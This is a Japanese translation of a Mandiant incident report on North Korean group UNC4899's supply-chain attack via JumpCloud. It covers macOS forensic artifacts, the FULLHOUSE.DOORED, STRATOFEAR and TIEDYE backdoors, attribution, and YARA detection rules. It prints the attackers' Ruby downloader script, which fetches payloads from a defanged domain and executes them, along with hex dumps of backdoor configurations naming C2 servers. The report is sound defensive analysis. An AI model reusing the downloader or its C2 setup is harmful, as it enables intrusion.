北朝鮮の脅威グループ、サプライチェーン標的型攻撃でSaaSプロバイダーを活用
Mandiant
※この投稿は米国時間 2023 年 7 月 24 日に、Google Cloud blog に投稿されたものの抄訳です。
2023 年 7 月、Mandiant コンサルティングは、米国に拠点を置くソフトウェア ソリューション事業者に被害を及ぼしたサプライ チェーン侵害に対応しました。最終的に、この侵害は、ID とアクセス管理に使用されるゼロトラスト ディレクトリ プラットフォーム サービスである JumpCloud を狙った高度なスピア フィッシング キャンペーンの結果として始まったと考えられます。 JumpCloud は、この不正アクセスの被害対象となったのは 5つ未満の組織、デバイスは 10 台未満であると報告しました。このブログで詳述されている内容は、JumpCloud への攻撃の被害を受けた組織の一つにおけるMandiant の調査に基づいています。
Mandiantは、これらの侵入は、これまでに仮想通貨関連企業を標的にした攻撃を行った経歴を持つ朝鮮民主主義人民共和国(DPRK)につながる攻撃者であるUNC4899によるものであると考えています。Mandiantは、UNC4899 が北朝鮮の偵察総局 (RGB) 内において暗号通貨に焦点を当てた組織であると高い確度を持って評価しています。信頼できるパートナーからの報告によれば、UNC4899 は TraderTraitor に相当すると考えられます。これは、主にブロックチェーン関連企業を標的とする、金銭目的の北朝鮮の脅威グループです。
サプライチェーン攻撃
2023 年 6 月 27 日の18:51:57 UTC 、Mandiant はサプライチェーンの下流に位置する顧客企業 (ソフトウェア ソリューション事業者)で JumpCloud エージェント経由で実行された悪意のある Ruby スクリプトを特定しました。 JumpCloud は、セキュリティ侵害を報告した際に、悪意のあるデータインジェクションにこのコマンド フレームワークが使用されたことを明らかにしています。このスクリプトの内容と機能については、以下の「バックドア ペイロード」セクションで説明します。
図 1: 攻撃経路
ホストアーティファクト
ファイル パス /private/var/log/jcagent.log
にある JumpCloud エージェント ログ内で、侵害の証拠が観察されました。
Mandiant は、「Runworkflow」という名前のディレクティブがシステム上で実行をトリガーしたことを示す jcagent.log
のログエントリーを観察しました。
time=2023-06-27 18:51:57.415615-07:00 PID=82291 level=warning msg=Fallback Poll was required to handle the following directive: RunWorkflow
time=2023-06-27 18:51:57.416036-07:00 PID=82291 level=info msg=policies manager received a request to update workflow policies
time=2023-06-27 18:51:57.416145-07:00 PID=82291 level=info msg=removeWorkflowPolicies - Removing isExecuteOnGUILogin workflow policies
time=2023-06-27 18:51:57.416192-07:00 PID=82291 level=info msg=updateWorkflowPolicies - Adding all current workflow policies
time=2023-06-27 18:51:57.416238-07:00 PID=82291 level=info msg=Processing TypeScheduleCron
time=2023-06-27 18:51:57.416308-07:00 PID=82291 level=info msg=Policy manager creating schedule cron monitor ID=<ID> name=Workflow schedule=immediate type=WORKFLOW
time=2023-06-27 18:51:57.416550-07:00 PID=82291 level=info msg=policies manager received a request to apply Workflow policy
調査中、Mandiant は攻撃者がバージョン 13.3 または 13.4.1 を実行している 4 台の OSX Ventura システムをターゲットにしていることを観察しました。これらのシステムのフォレンジック分析中に、Mandiantは、調査にとって非常に価値のある比較的新しいフォレンジック アーティファクトを特定しました。
このフォレンジック アーティファクトは、Apple の XProtect サービス、特に XProtect Behavioral Service に関連しています。現在、Apple によって定義されている行動ベースのルールは 5 つあります。これらのルールの 1 つ以上に違反する実行されたプログラムに関する情報は、/var/protected/xprotect/XPdb
にある SQLite 3 形式で保存された XProtect データベース (XPdb) に記録されます。。現時点では、XProtect Behavioral Service が実行をブロックするように構成されていないようです。
XPdb に保存されたデータの分析を通じて、Mandiant は、攻撃者のペイロードに関連付けられた特定の署名識別子を含むエントリを特定しました。具体的には、XPdb 内の exec_signing_id フィールドには、バイナリの署名に関する情報が含まれており、これを使用して、特定の署名付きバイナリの作成者を識別することができます。 Mandiant は、悪意のあるファイルに関連する 3 つの固有の署名を特定しました。
- mac-555549440ea0d64e96bb34428e08cc8d948b40e7
- p-macos-55554944c2a6eb29a7bc3c73acdaa3e0a7a8d8c7
- securityd-555549440fca1d2f1e613094b0c768d393f83d7f
Mandiant はこれらのシグネチャを使用して XPdb を検索し、攻撃者によって削除されたか、他の形式の分析では特定できなかった追加の攻撃者ペイロードを検索しました。
XPdb でさらに興味深いフィールドは、exec_cdhash でした。これには、実行されたバイナリの cdhash (コード ディレクトリ ハッシュ) が含まれています。 Mandiant は、XPdb に保存されている cdhash 値を使用して、複数のシステムにわたる悪意のあるバイナリの実行履歴を特定しました。 cdhash はアプリケーション内の実行可能コードに基づいて計算されるため、ファイルが脅威アクターによって削除され、サンプルのファイル ハッシュが異なっていたにもかかわらず、Mandiant は環境内の追加のマルウェアを特定できました。
XPdb 内のさらに重要なフィールドにはプレフィックス「responsible_」があり、動作ルールに違反したプロセスの親に関する情報が含まれていました。複数のシステム上で、マルウェアの XPdb エントリには JumpCloud エージェントの親プロセスが含まれており、脅威アクターが JumpCloud を利用して被害組織の環境への初期アクセスを取得したことのさらなる証拠となります。
攻撃者は、以前のペイロードをディスクから削除していることが一貫して観察されています。ただし、FSEvents アーティファクトは、以前にディスク上に存在していたファイルについての優れた洞察を提供してくれました。 FSEvent には、ファイル システムにこれらのファイルの存在を示すアーティファクトが含まれなくなった場合でも、ファイルの作成、変更、権限の変更、名前変更、および削除に関する詳細が含まれていました。 Mandiant は、個々のエントリに関連付けられた node_id フィールドを使用して、システム上での特定の攻撃者の活動の順序と、名前が変更されたファイルの更新された名前を特定できました。
次の表は、FSEvents から取得された関連データの例を示しています。
バックドアペイロード
初期アクセス
初期アクセスは、JumpCloud を侵害し、コマンド フレームワークに悪意のあるコードを挿入することによって取得されました。少なくとも 1 つの例では、悪意のあるコードは JumpCloud エージェント経由で実行される簡易な Ruby スクリプトでした。スクリプトには、第 2 段階のペイロードをダウンロードして実行するための命令が含まれていました。被害組織環境のシステムに最初にアクセスしてから 24 時間以内に、攻撃者は追加のバックドアを展開し、plist を介して永続性を確立しました。初期ペイロードと第 2 段階のバックドアはシステムから削除されました。
Ruby スクリプトと第 2 段階のペイロードのディレクトリの選択と命名規則は、攻撃者が正規のファイルとアプリケーションを装うことを重要な優先事項としていることを示しています。
Mandiant は、init.rb
という名前の Ruby スクリプトを取得しました。 これは、複数のシステムにデプロイされたものです:
require 'open-uri'
ffn = '/usr/local/bin/com.docker.vmnat'
File.open(ffn, 'wb') do |file|
file.write(open('hxxps://primerosauxiliosperu[.]com/lic.dat').read)
end
sleep(1)
File.chmod(0755, ffn)
fn = '/usr/local/bin/com.docker.vmnat.lock'
File.open(fn, 'wb') do |file|
file.write(open('hxxps://primerosauxiliosperu[.]com/lic_bak.dat').read)
end
sleep(1)
system(ffn)
このスクリプトは、変数 ffn および fn で定義された場所に 2 つのファイルをダウンロードしますが、システム関数を介して実行されるのは最初のファイルのみです。 2 番目のファイルはホスト上で識別できませんでした。
FULLHOUSE.DOORED (com.docker.vmnat, npx-cli, us.zoom.ZoomUpdate)
攻撃者は、前述の Ruby スクリプトを使用して /usr/local/bin/com.docker.vmnat
をダウンロードして実行したました。しかし、com.docker.vmnat
はシステムから削除されました。幸いなことに、/private/var/db/oah
ディレクトリにその実行時のアーティファクトが発見されました。
com.docker.vmnat は x86-64 システム用にコンパイルされている可能性が高いため、ターゲットのシステムで正常に実行するにはコードを ARM64 に変換する必要がありました。結果として、Apple の Rosetta 2 Translator が oah ディレクトリの下にcom.docker.vmnat.aot
ファイルを作成しました。このファイルには、翻訳された ARM64 コードと、元のcom.docker.vmnat.aot
アプリケーションに存在するシンボルが含まれています。 これらのシンボルに基づいて、Mandiantは com.docker.vmnat.aot
がFULLHOUSE.DOORED バックドアのバージョンであると、中程度の信頼性を持って評価しています。
FULLHOUSE.DOORED は、HTTP を使用して通信する C/C++ で書かれたバックドアです。これには、シェル コマンドの実行、ファイル転送、ファイル管理、プロセス インジェクションなどのバックドア コマンドのサポートに加えて、FULLHOUSE トンネラーの機能が組み込まれています。コマンド アンド コントロール (C2) サーバーは、コマンド ラインまたは構成ファイルから構成する必要があります。
さらに、正規のバイナリを偽装し、翻訳時に AOTファイルを生成する名前を持つ攻撃者バックドアもシステムじょうで確認されました。(例:npx-cli
および npx-cli.aot
)
STRATOFEAR (com.google.kservice, us.zoom.ZoomService)
STRATOFEAR が被害環境のシステムにどのように展開されたかを正確に判断するためのフォレンジックの証拠は限られていました。ただし、いずれの場合も、STRATOFEAR の前に FULLHOUSE.DOORED が展開されました。分析されたシステムでは、システム上にバックドアが 1 つだけ残っていました。これは、攻撃者が第 2 段階のバックドアとして STRATOFEAR を展開する前に、第 1 段階のバックドアとして FULLHOUSE.DOORED を使用した可能性があることを示しています。
STRATOFEAR は、ローカル ファイルから復号化された C2 構成で指定されたプロトコルを使用して C2 サーバーと通信するモジュール式バックドアです。バックドアの主な機能には、追加モジュールの取得と実行が含まれます。モジュールはリモート サーバーからダウンロードすることも、ディスクからロードすることもできます。
STRATOFEAR には、2 つのファイル パスを含む埋め込み構成が含まれています。最初のパス (/Library/Fonts/ArialUnicode.ttf.md5
) には、C2 サーバーを含むバックドアの完全な構成が保存されます。 2 番目のパス (/Library/Fonts/ArialUnicode.ttf.md5.1
) は、以下で説明するモニター アクティビティに関連するログ情報を保存するために使用できます。
STRATOFEAR の 0x1052 バイトの復号化された構成の一部を以下に示します。
00000410 25 63 01 00 00 00 E8 03 00 00 03 00 00 00 02 00 %c....è.........
00000420 00 00 65 6D 62 65 64 3A 2F 2F 30 00 00 00 00 00 ..embed://0.....
00000430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000520 00 00 00 00 00 00 70 73 73 6C 3A 2F 2F 63 6F 6E ......pssl://con
00000530 74 6F 72 74 6F 6E 73 65 74 2E 63 6F 6D 3A 34 34 tortonset.com:44
00000540 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3...............
00000550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000620 00 00 00 00 00 00 00 00 00 00 70 73 73 6C 3A 2F ..........pssl:/
00000630 2F 72 65 6C 79 73 75 64 64 65 6E 2E 63 6F 6D 3A /relysudden.com:
00000640 34 34 33 00 00 00 00 00 00 00 00 00 00 00 00 00 443.............
STRATOFEAR は、オフセット 0x410 (0x16325
) の 4 バイト値を uidとして参照します。オフセット 0x416 の 4 バイト値 (0x3e8
または10進数1000
) はバックドアのバージョン番号です。 STRATOFEAR の構成ファイルには、AES-128 で暗号化されたモジュールが含まれる場合があります。しかし、発見されたサンプルではそうではありませんでした。
STRATOFEAR でサポートされるコマンドのサブセットを次の表に示します。
コマンド0x07
を使用して収集されるシステム情報には、システム名、現在のユーザー名、システムのアーキテクチャが含まれます。
STRATOFEAR は、次の表にリストされているモジュール関連のコマンドをサポートしています。
ダウンロードされたモジュールは、$TMPDIR
または /tmp
ディレクトリ内の /tmp
ファイルに書き込まれます。ファイル名は、ランダムに生成された 6 文字の英数字で構成されます。
STRATOFEAR のコードは、ID 値と内部名を持つ 5 つの定義済みモジュール タイプを参照します。
STRATOFEAR には、モジュールの場所を報告するための文字列も含まれています。指定可能な場所は、“Config
”, “Static
”, or “Path
” のいずれかで、その後にファイルパスが続きます。
STRATOFEAR は、「モニター」と呼ばれるものを採用し、最大 16 スレッドを使用してシステム アクティビティを監視します。バックドアは 8 つの異なるモニターを参照し、1 つ (0x45
)を除くすべてのモニターの説明が含まれています。
Mandiant は、STRATOFEAR の亜種の 1 つが、特定の共通名 (CN) を持つ自己署名証明書を含む ARM64 システム用にコンパイルされた Mach-O 実行可能ファイルであることを直接観察しました。Mandiantは、VirusTotal上で同じ自己署名証明書CNを持つ2番目のサンプルを確認しました。2 番目のサンプルは、VMProtect を使用して保護された Windows DLL で、2022 年 10 月 19 日に初めて VirusTotal に送信されました。Mandiant は、この DLL が STRATOFEAR の Windows バージョンであると中程度の信頼性を持って評価しています。
TIEDYE (xpc.protect)
TIEDYE が被害環境のシステムにどのように展開されたかを正確に特定するためのフォレンジックの証拠は限られていました。ただし、STRATOFEAR と同様に、TIEDYE も FULLHOUSE.DOORED によって第 2 段階のバックドアとして展開された可能性があります。
また、xpc.protect という名前の Mach-O 実行可能ファイルが特定され、TIEDYE バックドアの進化版であることが判明しました。 TIEDYE は、次に説明するさまざまなサポート対象プロトコルを使用して C2 サーバーと通信できます。その機能には、追加のペイロードの取得と実行、基本的なシステム情報の収集、シェル コマンドの実行が含まれます。
TIEDYE の生の構成の一部を以下に示します。
00000000 00 00 01 E3 00 0E 00 1E 00 00 00 04 00 03 00 20 ...ã...........
00000010 00 10 56 E6 00 00 00 04 00 03 00 21 00 00 00 05 ..Væ.......!....
00000020 00 00 00 7D 00 0D 00 33 00 00 00 37 00 0E 00 00 ...}...3...7....
00000030 00 00 00 17 00 0C 00 34 73 73 6C 3A 2F 2F 62 61 .......4ssl://ba
00000040 73 6B 65 74 73 61 6C 75 74 65 2E 63 6F 6D 00 00 sketsalute.com..
00000050 00 00 04 00 03 00 35 00 00 00 00 00 00 00 04 00 ......5.........
00000060 03 00 36 00 00 00 00 00 00 00 36 00 0E 00 00 00 ..6.......6.....
00000070 00 00 16 00 0C 00 34 73 73 6C 3A 2F 2F 72 65 6E ......4ssl://ren
00000080 74 65 64 70 75 73 68 79 2E 63 6F 6D 00 00 00 00 tedpushy.com....
00000090 04 00 03 00 35 00 00 00 00 00 00 00 04 00 03 00 ....5...........
000000A0 36 00 00 00 00 00 00 00 04 00 03 00 23 00 00 00 6...........#...
000000B0 0A 00 00 01 08 00 0D 00 24 00 00 00 24 00 0E 00 ........$...$...
000000C0 00 00 00 00 04 00 03 00 25 00 00 03 E8 00 00 00 ........%...è...
000000D0 04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00 ....&...........
000000E0 27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00 '.......$.......
000000F0 04 00 03 00 25 00 00 03 E9 00 00 00 04 00 03 00 ....%...é.......
00000100 26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00 &...........'...
00000110 00 00 00 00 24 00 0E 00 00 00 00 00 04 00 03 00 ....$...........
00000120 25 00 00 03 EA 00 00 00 04 00 03 00 26 00 00 00 %...ê.......&...
00000130 00 00 00 00 04 00 03 00 27 00 00 00 00 00 00 00 ........'.......
00000140 24 00 0E 00 00 00 00 00 04 00 03 00 25 00 00 03 $...........%...
00000150 ED 00 00 00 04 00 03 00 26 00 00 00 00 00 00 00 í.......&.......
00000160 04 00 03 00 27 00 00 00 00 00 00 00 24 00 0E 00 ....'.......$...
00000170 00 00 00 00 04 00 03 00 25 00 00 00 00 00 00 00 ........%.......
00000180 04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00 ....&...........
00000190 27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00 '.......$.......
000001A0 04 00 03 00 25 00 00 00 00 00 00 00 04 00 03 00 ....%...........
000001B0 26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00 &...........'...
000001C0 00 00 00 00 22 00 0C 00 37 2F 4C 69 62 72 61 72 ...."...7/Librar
000001D0 79 2F 43 61 63 68 65 73 2F 63 6F 6D 2E 61 70 70 y/Caches/com.app
000001E0 6C 65 2E 70 72 69 76 61 63 79 00 05 05 05 05 05 le.privacy......
この構成には、プロトコル ID がプレフィックスとして付けられた 2 つの C2 サーバーが含まれています。 TIEDYE は次のプロトコルをサポートしています:tcp
, tcp6
, udp
, upd6
, http
, https
, proxy_socks4
, proxy_socks4a
, pipe
, ssl
, ssl3
, rdp
。構成の最後のファイル パスは、AES-128 を使用して暗号化された構成データを保存するために使用されます。
TIEDYE の以前のバージョンは、LaunchAgent を介して永続化するように構成されていました。現在のバージョンには、次のいずれかの場所に LaunchAgent を作成する機能が含まれていますが、永続化するようには構成されていません。
$HOME/Library/LaunchAgents/com.studentd.agent.plist
/Library/LaunchDaemons/com.studentd.agent.plist
TIEDYE は、TCP 経由でカスタム バイナリ プロトコルを介して通信する C++ で記述されたバックドアである RABBITHUNT と似ています。 RABBITHUNT のコア機能は、メモリに直接ダウンロードされるか、ローカル ファイルから読み取られるモジュールを通じて実装されます。モジュールによって追加される機能には、リバース シェル、ファイル転送、プロセスの作成、プロセスの終了などがあります。
北朝鮮による仮想通貨を標的とした攻撃
Mandiant は、UNC4899がMacOS のキーチェーンと幹部および社内セキュリティ チームに関連する偵察データを標的としていることを確認しました。
UNC4899の標的は、2023年7月に仮想通貨業界への関心を示した別のRGB連携グループであるAPT43と重複しており、特に米国、韓国、香港、シンガポールの複数のフィンテックおよび仮想通貨企業のさまざまな経営幹部をターゲットにしています。対象者の多くは、金融サービス、暗号通貨、ブロックチェーン、Web3 および関連事業に関連する組織で働いています。北朝鮮攻撃グループ間でのターゲット設定の重複とインフラの共有は、仮想通貨分野を継続的に標的とすることと計画的な関心を浮き彫りにしています。
運用セキュリティの失敗
Mandiant は、RGB ユニットが商用 VPN プロバイダーとともに L2TP IPsec トンネルを使用する一連のオペレーション リレー ボックス (ORB) を利用して、送信元アドレスを隠蔽していることを観察しました。これらのリレーは、RGB 傘下のユニット間で頻繁に共有されているようです。
Mandiant は、UNC4899 が最終ホップとしてさまざまな VPN プロバイダーを利用していることを観察しました。最も一般的なのは ExpressVPN ですが、NordVPN、TorGuard、その他多くのプロバイダーへの接続も観察されています。 DPRK の攻撃者がこのラスト ホップを使用しなかったり、被害組織のネットワーク上で操作を実行する際に誤ってこれを利用しなかったりすることが何度もありました。
RGB の攻撃者が使用する VPN攻撃 は時折失敗し、攻撃者の本当の発信元の IP アドレスが明らかになることがあります。 Mandiant は、DPRK の攻撃者 UNC4899 が 175.45.178[.]0/24 サブネットから攻撃者が制御する ORB に直接接続していることを観察しました。 (平壌市柳京洞)。さらに、北朝鮮の攻撃者がジャンプ ボックスの 1 つから平壌の IP に直接ログインしていることも観察されました。北朝鮮のネットブロックへの接続が短時間であったことから、これは OPSEC の不手際であったことが裏付けられました。図 2 は、このキャンペーンで使用されたネットワーク インフラストラクチャの概要を示しています。
図 2: UNC4899 ネットワーク インフラストラクチャ
さらに、Mandiant は、PTR レコードが以前の操作から変更されていなかったという事実により、追加のインフラストラクチャを発見することができました。 Mandiant は以前、ドメイン wasxxv[.]site が北朝鮮の攻撃グループによって使用されていることを特定しました。さらに、IP アドレス 198.244.135[.]250 は、以前に特定されたドメインへの PTR レコードをまだ保持しながら、別の C2 ドメイン prontoposer[.]com に使用されています
アトリビューション
Mandiantは、この活動を北朝鮮の攻撃者とみられるUNC4899
として追跡しています。私たちは、UNC4899 が RGB に該当する暗号通貨に焦点を当てたグループであると高い信頼性を持って評価しています。 UNC4899 の標的は選択的であり、JumpCloud を通じて被害組織のネットワークにアクセスすることが観察されています。Mandiantは、RGBに該当する複数の北朝鮮グループの重複を観察しています。これらのグループは一般に、目標に対するアクションを完了するためにインフラストラクチャを共有します。 Mandiant は、UNC2970、APT43、および UNC4899 がすべて同様のインフラストラクチャを利用していることを確認しています。
Mandiantは、過去 1 年間、北朝鮮の攻撃者による金銭目的の活動、特に暗号通貨業界に焦点を当てた活動が増加していることを観察しています。RGB と連携した暗号通貨に焦点を当てたグループは、Lazarus という包括的な名称で公に報告されており、オープンソースの「TraderTraitor」や「AppleJeus」など、過去に確立された APT 攻撃グループの明らかな亜種は、暗号通貨業界やさまざまなブロックチェーン プラットフォームに影響を与える金銭目的の攻撃活動をますます活発に実行しています。
見通しと影響
JumpCloudを標的としたキャンペーンと、今年初めに報告されたTrading Technologies X_TRADERアプリケーションと3CX Desktop Appソフトウェアに影響を与えたDPRKのサプライチェーン侵害は、川下の被害組織を侵害するためにサービス・プロバイダーにアクセスするためのこれらの作戦の連鎖的な効果を例証しています。両作戦とも、資金面で動機づけられたDPRKのアクターとの関係が疑われており、DPRKのオペレーターが、暗号通貨やフィンテック関連資産を標的とする取り組みの強化の一環として、特定のエンティティを標的とするサプライチェーンTTPを実施していることを示唆しています。Mandiantは、北朝鮮の暗号通貨部門が暗号通貨業界内の影響力の高い個人と彼らが使用するソフトウェアソリューションを標的とするために、MacOS マルウェアと機能の開発を継続するだろうと評価しています。
Mandiantは、北朝鮮のサイバー環境は、ツールの共有とターゲティングの取り組みとの合理的な連携へと進化していると評価しています。これらユニット内の攻撃者は、現在の焦点をすぐに変更し、ランサムウェア、兵器と核の標的化、暗号通貨の取り組みなど、無関係な別々の活動に取り組み始めます。北朝鮮による活動のこの「合理化」されたように見える活動は、しばしば防御側が悪意のある活動を追跡、特定、阻止することを困難にする一方で、攻撃側は相互に協力しながら活動することで、より密かに、より迅速に行動できるようになります。ターゲティングとツールの共有レベルから、RGB が主導しているサイバー環境の外でも変化が起こり続けていると Mandiant 氏は考えています。
謝 辞
ここにリストされている著者以外にも、Mandiantの多くの専門家が、DPRK関連の侵入に対応するために顧客と協力して継続的な努力と献身を続けてくれていることに感謝します。また、Googleの脅威分析グループ(TAG)、MandiantのDPRK Fusion Cell、そして継続的な協力と支援をしてくれた政府機関のパートナーにも特に感謝を述べたいと思います。
Indicators of Compromise (IOCs)
Network IOCs
Endpoint IOCs
XPdb IOCs
Detection Rules
YARA
M_APT_Backdoor_STRATOFEAR_1
{
meta:
author = "Mandiant"
description = "Detects instances of STRATOFEAR"
md5 = "6d8194c003d0025fa92fbcbf2eadb6d1"
platform = "OSX, Win64"
malware_family = "STRATOFEAR"
strings:
$str1 = "-alone" ascii
$str2 = "-psn" ascii
$str3 = "embed://" ascii
$str4 = "proc_data" ascii
$str5 = "udp://" ascii
$str6 = "Path : %s" ascii
$str7 = "127.0.0.1" ascii
condition:
((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
M_APT_Backdoor_TIEDYE_1
{
meta:
author = "Mandiant"
description = "Detects instances of TIEDYE"
md5 = "15bfe67e912f224faef9c7f6968279c6"
platforms = "OSX"
malware_family = "TIEDYE"
strings:
$str1 = "%s/Library/LaunchAgents/com.%s.agent.plist" ascii
$str2 = "/Library/LaunchDaemons/com.%s.agent.plist" ascii
$str3 = "%s/.plugin%04d.so" ascii
$str4 = "sw_vers -productVersion" ascii
$str5 = "!proxy=http://" ascii
$str6 = "Content-Type: application/octet-stream" ascii
$str7 = "<key>RunAtLoad</key>" ascii
$str8 = "<string>com.%s.agent</string>" ascii
$str9 = "%sProxy-Authorization: %s" ascii
$str10 = "!udp_type"
$str11 = "!http="
condition:
((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
FE_APT_Backdoor_MacOS_FULLHOUSE_1
{
meta:
author = "Mandiant"
description = "Detects instances of FULLHOUSE."
platforms = "OSX"
malware_family = "FULLHOUSE"
strings:
$s1 = /<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>/ wide
$sb1 = { E8 [4-32] 83 F8 ?? 0F 87 [4] 48 8D 0D [4] 48 63 04 81 48 01 C8 FF E0 }
condition:
((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
※本ブログは、2023年7月24日に公開されたブログ「North Korea Leverages SaaS Provider in a Targeted Supply Chain Attack」の日本語抄訳版です。
-Mandiant, 作成者: Austin Larsen, Dan Kelly, Joseph Pisano, Mark Golembiewski, Matt Williams, Paige Godvin